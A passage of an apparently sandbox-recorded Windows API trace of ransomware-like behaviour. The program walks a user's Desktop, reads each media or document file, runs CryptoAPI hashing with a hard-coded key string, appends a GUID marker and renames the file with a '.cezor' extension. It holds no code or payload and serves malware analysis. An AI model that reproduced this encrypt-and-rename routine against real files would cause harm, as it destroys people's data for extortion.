dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.792] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.793] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.793] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.793] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.793] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.793] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.793] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.793] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.793] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.793] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.793] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.793] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.793] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.793] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.793] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.793] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.793] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.793] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.793] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.793] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.793] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.793] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.793] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.793] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0059.793] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0059.793] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.793] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.794] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.794] PathFindFileNameW (pszPath="") returned="" [0059.794] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2045710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x2045710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.794] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2045710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x2045710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.794] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc757f9d0, ftCreationTime.dwHighDateTime=0x1d4c589, ftLastAccessTime.dwLowDateTime=0xe63d3bb0, ftLastAccessTime.dwHighDateTime=0x1d4c9a0, ftLastWriteTime.dwLowDateTime=0xe63d3bb0, ftLastWriteTime.dwHighDateTime=0x1d4c9a0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0oqCmMdMfyA -VyQ", cAlternateFileName="0OQCMM~1")) returned 1 [0059.794] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fa6f1c0, ftCreationTime.dwHighDateTime=0x1d4d312, ftLastAccessTime.dwLowDateTime=0xd180f90, ftLastAccessTime.dwHighDateTime=0x1d4cc8e, ftLastWriteTime.dwLowDateTime=0xd180f90, ftLastWriteTime.dwHighDateTime=0x1d4cc8e, nFileSizeHigh=0x0, nFileSizeLow=0x15690, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7FXGdv.mkv", cAlternateFileName="")) returned 1 [0059.794] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7FXGdv.mkv") returned=".mkv" [0059.794] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7FXGdv.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7fxgdv.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.794] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=87696) returned 1 [0059.794] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.797] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1566a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.797] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.797] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x15690, lpOverlapped=0x0) returned 1 [0059.798] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.798] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.798] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.798] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0059.799] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.799] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.799] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.799] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.799] GetLastError () returned 0x0 [0059.799] SetLastError (dwErrCode=0x0) [0059.799] GetLastError () returned 0x0 [0059.799] SetLastError (dwErrCode=0x0) [0059.799] GetLastError () returned 0x0 [0059.799] SetLastError (dwErrCode=0x0) [0059.799] GetLastError () returned 0x0 [0059.799] SetLastError (dwErrCode=0x0) [0059.799] GetLastError () returned 0x0 [0059.799] SetLastError (dwErrCode=0x0) [0059.800] GetLastError () returned 0x0 [0059.800] SetLastError (dwErrCode=0x0) [0059.800] GetLastError () returned 0x0 [0059.800] SetLastError (dwErrCode=0x0) [0059.800] GetLastError () returned 0x0 [0059.800] SetLastError (dwErrCode=0x0) [0059.800] GetLastError () returned 0x0 [0059.800] SetLastError (dwErrCode=0x0) [0059.800] GetLastError () returned 0x0 [0059.800] SetLastError (dwErrCode=0x0) [0059.800] GetLastError () returned 0x0 [0059.800] SetLastError (dwErrCode=0x0) [0059.800] GetLastError () returned 0x0 [0059.800] SetLastError (dwErrCode=0x0) [0059.800] GetLastError () returned 0x0 [0059.800] SetLastError (dwErrCode=0x0) [0059.800] GetLastError () returned 0x0 [0059.800] SetLastError (dwErrCode=0x0) [0059.800] GetLastError () returned 0x0 [0059.800] SetLastError (dwErrCode=0x0) [0059.800] GetLastError () returned 0x0 [0059.800] SetLastError (dwErrCode=0x0) [0059.800] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.800] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0059.801] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x15690, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.801] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.801] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.801] CloseHandle (hObject=0x5c4) returned 1 [0059.803] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7FXGdv.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7fxgdv.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7FXGdv.mkv.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7fxgdv.mkv.cezor")) returned 1 [0059.804] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6203e00, ftCreationTime.dwHighDateTime=0x1d53558, ftLastAccessTime.dwLowDateTime=0xf6b8d480, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xf4ef1100, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x6fa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A959.tmp.exe", cAlternateFileName="A959TM~1.EXE")) returned 1 [0059.804] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe") returned=".exe" [0059.804] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a959.tmp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.804] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3c82d80, ftCreationTime.dwHighDateTime=0x1d4c987, ftLastAccessTime.dwLowDateTime=0x50fb1660, ftLastAccessTime.dwHighDateTime=0x1d4c538, ftLastWriteTime.dwLowDateTime=0x50fb1660, ftLastWriteTime.dwHighDateTime=0x1d4c538, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cJ1uF3yzdYr", cAlternateFileName="CJ1UF3~1")) returned 1 [0059.804] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0059.804] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini") returned=".ini" [0059.805] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5b2580, ftCreationTime.dwHighDateTime=0x1d4c5ae, ftLastAccessTime.dwLowDateTime=0x74afc990, ftLastAccessTime.dwHighDateTime=0x1d4c6fd, ftLastWriteTime.dwLowDateTime=0x74afc990, ftLastWriteTime.dwHighDateTime=0x1d4c6fd, nFileSizeHigh=0x0, nFileSizeLow=0x48b9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DfM1jMQH5m.m4a", cAlternateFileName="DFM1JM~1.M4A")) returned 1 [0059.805] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DfM1jMQH5m.m4a") returned=".m4a" [0059.805] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DfM1jMQH5m.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dfm1jmqh5m.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.805] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=18617) returned 1 [0059.805] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.807] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4893, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.807] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.808] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x48b9, lpOverlapped=0x0) returned 1 [0059.808] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.808] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.808] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.808] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0059.809] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.809] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.809] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.809] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.809] GetLastError () returned 0x0 [0059.809] SetLastError (dwErrCode=0x0) [0059.809] GetLastError () returned 0x0 [0059.809] SetLastError (dwErrCode=0x0) [0059.809] GetLastError () returned 0x0 [0059.809] SetLastError (dwErrCode=0x0) [0059.809] GetLastError () returned 0x0 [0059.809] SetLastError (dwErrCode=0x0) [0059.809] GetLastError () returned 0x0 [0059.809] SetLastError (dwErrCode=0x0) [0059.809] GetLastError () returned 0x0 [0059.809] SetLastError (dwErrCode=0x0) [0059.809] GetLastError () returned 0x0 [0059.810] SetLastError (dwErrCode=0x0) [0059.810] GetLastError () returned 0x0 [0059.810] SetLastError (dwErrCode=0x0) [0059.810] GetLastError () returned 0x0 [0059.810] SetLastError (dwErrCode=0x0) [0059.810] GetLastError () returned 0x0 [0059.810] SetLastError (dwErrCode=0x0) [0059.810] GetLastError () returned 0x0 [0059.810] SetLastError (dwErrCode=0x0) [0059.810] GetLastError () returned 0x0 [0059.810] SetLastError (dwErrCode=0x0) [0059.810] GetLastError () returned 0x0 [0059.810] SetLastError (dwErrCode=0x0) [0059.810] GetLastError () returned 0x0 [0059.810] SetLastError (dwErrCode=0x0) [0059.810] GetLastError () returned 0x0 [0059.810] SetLastError (dwErrCode=0x0) [0059.810] GetLastError () returned 0x0 [0059.810] SetLastError (dwErrCode=0x0) [0059.810] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.810] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0059.811] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x48b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.811] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.811] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.811] CloseHandle (hObject=0x5c4) returned 1 [0059.812] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DfM1jMQH5m.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dfm1jmqh5m.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DfM1jMQH5m.m4a.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dfm1jmqh5m.m4a.cezor")) returned 1 [0059.813] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb5383e0, ftCreationTime.dwHighDateTime=0x1d4cd71, ftLastAccessTime.dwLowDateTime=0x7f826fe0, ftLastAccessTime.dwHighDateTime=0x1d4d5a2, ftLastWriteTime.dwLowDateTime=0x7f826fe0, ftLastWriteTime.dwHighDateTime=0x1d4d5a2, nFileSizeHigh=0x0, nFileSizeLow=0x150dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eCYysFOHAuDPd0.odp", cAlternateFileName="ECYYSF~1.ODP")) returned 1 [0059.813] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eCYysFOHAuDPd0.odp") returned=".odp" [0059.813] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eCYysFOHAuDPd0.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ecyysfohaudpd0.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.813] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=86236) returned 1 [0059.813] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.816] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x150b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.816] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.816] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x150dc, lpOverlapped=0x0) returned 1 [0059.817] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.817] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.817] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.817] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ec50) returned 1 [0059.818] CryptCreateHash (in: hProv=0x74ec50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.818] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.818] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.818] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.818] GetLastError () returned 0x0 [0059.818] SetLastError (dwErrCode=0x0) [0059.818] GetLastError () returned 0x0 [0059.818] SetLastError (dwErrCode=0x0) [0059.818] GetLastError () returned 0x0 [0059.818] SetLastError (dwErrCode=0x0) [0059.818] GetLastError () returned 0x0 [0059.818] SetLastError (dwErrCode=0x0) [0059.818] GetLastError () returned 0x0 [0059.818] SetLastError (dwErrCode=0x0) [0059.818] GetLastError () returned 0x0 [0059.818] SetLastError (dwErrCode=0x0) [0059.818] GetLastError () returned 0x0 [0059.818] SetLastError (dwErrCode=0x0) [0059.818] GetLastError () returned 0x0 [0059.818] SetLastError (dwErrCode=0x0) [0059.818] GetLastError () returned 0x0 [0059.818] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.818] CryptReleaseContext (hProv=0x74ec50, dwFlags=0x0) returned 1 [0059.819] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.820] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x150dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.820] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.820] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.820] CloseHandle (hObject=0x5c4) returned 1 [0059.821] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eCYysFOHAuDPd0.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ecyysfohaudpd0.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eCYysFOHAuDPd0.odp.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ecyysfohaudpd0.odp.cezor")) returned 1 [0059.826] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.826] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.827] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0059.827] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5285a00, ftCreationTime.dwHighDateTime=0x1d4c9d3, ftLastAccessTime.dwLowDateTime=0xa78dae0, ftLastAccessTime.dwHighDateTime=0x1d4ce13, ftLastWriteTime.dwLowDateTime=0xa78dae0, ftLastWriteTime.dwHighDateTime=0x1d4ce13, nFileSizeHigh=0x0, nFileSizeLow=0x4891, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fn3wxYGSmK_5.wav", cAlternateFileName="FN3WXY~1.WAV")) returned 1 [0059.827] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.827] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0059.827] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.827] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fn3wxYGSmK_5.wav") returned=".wav" [0059.827] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fn3wxYGSmK_5.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fn3wxygsmk_5.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.827] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=18577) returned 1 [0059.827] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.830] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x486b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.830] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.831] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.831] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.831] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.831] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x4891, lpOverlapped=0x0) returned 1 [0059.831] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.831] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.831] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.831] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.831] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0059.832] CryptCreateHash (in: 